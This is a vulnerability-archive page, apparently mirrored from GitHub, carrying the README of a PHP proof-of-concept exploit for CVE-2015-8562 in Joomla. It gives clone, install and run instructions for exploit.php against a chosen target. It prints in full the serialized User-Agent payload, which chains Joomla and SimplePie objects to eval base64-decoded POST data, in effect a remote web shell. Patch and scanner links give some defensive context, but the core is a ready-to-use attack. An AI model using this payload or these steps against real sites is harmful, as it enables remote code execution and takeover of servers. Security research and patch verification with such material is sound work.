Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1336 CNY

100%

CVE-2015-8562 PoC — Joomla! Core 远程代码执行漏洞

Source
Associated Vulnerability
Title: Joomla! Core 远程代码执行漏洞 (CVE-2015-8562)
Description:Joomla! 1.5.x, 2.x, and 3.x before 3.4.6 allow remote attackers to conduct PHP object injection attacks and execute arbitrary PHP code via the HTTP User-Agent header, as exploited in the wild in December 2015.
Description
A proof of concept for Joomla's CVE-2015-8562 vulnerability
Readme
# Joomla-CVE-2015-8562-PHP-POC
A proof of concept for Joomla's CVE-2015-8562 vulnerability

![Preview](http://eih.bz/s1/testjfjy.gif)

## Intro

This PoC is a near 1:1 copy of Gary's python implementation hosted at [exploit-db](https://www.exploit-db.com/exploits/38977/).

## Use it

It's very easy to install:

    git clone https://github.com/RobinHoutevelts/Joomla-CVE-2015-8562-PHP-POC.git
    cd Joomla-CVE-2015-8562-PHP-POC
    composer install

Once composer has everything installed you'll need to change `$target` in `exploit.php`.

After that you're ready to go:

    php exploit.php

### CVE-2015-8562

In December 2015 a vulnerability was found in Joomla. It allows remote attackers to conduct PHP object injection attacks and execute arbitrary PHP code via the HTTP User-Agent header.

This vulnerability hit *all* versions of Joomla. A patch for v1.5.x, v2.5x and v3.x is already [released](https://github.com/joomla/joomla-cms/releases/tag/3.4.6).

If you are running PHP >= 5.4.45, >= 5.5.29 or >= 5.6.13 you are fine as this exploit also utilises [CVE-2015-6835](https://bugs.php.net/bug.php?id=70219). 

Nikos Verschore from PatrolServer made a very detailed [blog post](https://blog.patrolserver.com/2015/12/17/in-depth-analyses-of-the-joomla-0-day-user-agent-exploit/) and was a major help at understanding this vulnerability. You can use their [mini-scanner](https://scan.patrolserver.com/joomla/CVE-2015-8562) for free to check if your site is at risk.

#### The real exploit

This is what the sent `User-Agent` header looks like:
```
jklmj}__jklmjklmjk|O:21:"JDatabaseDriverMysqli":3:{
  s:4:"\0\0\0a";
  O:17:"JSimplepieFactory":0:{}
  s:21:"\0\0\0disconnectHandlers";
  a:1:{
    i:0;
    a:2:{
      i:0;
      O:9:"SimplePie":5:{
        s:8:"sanitize";
        O:20:"JDatabaseDriverMysql":0:{}
        s:5:"cache";
        b:1;
        s:19:"cache_name_function";
        s:6:"assert";
        s:10:"javascript";
        i:9999;
        s:8:"feed_url";
        s:62:"eval('base64_decode($_POST[111])');JFactory::getConfig();exit;";
      }
      i:1;
      s:4:"init";
    }
  }
  s:13:"\0\0\0connection";
  i:1;
}
```
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →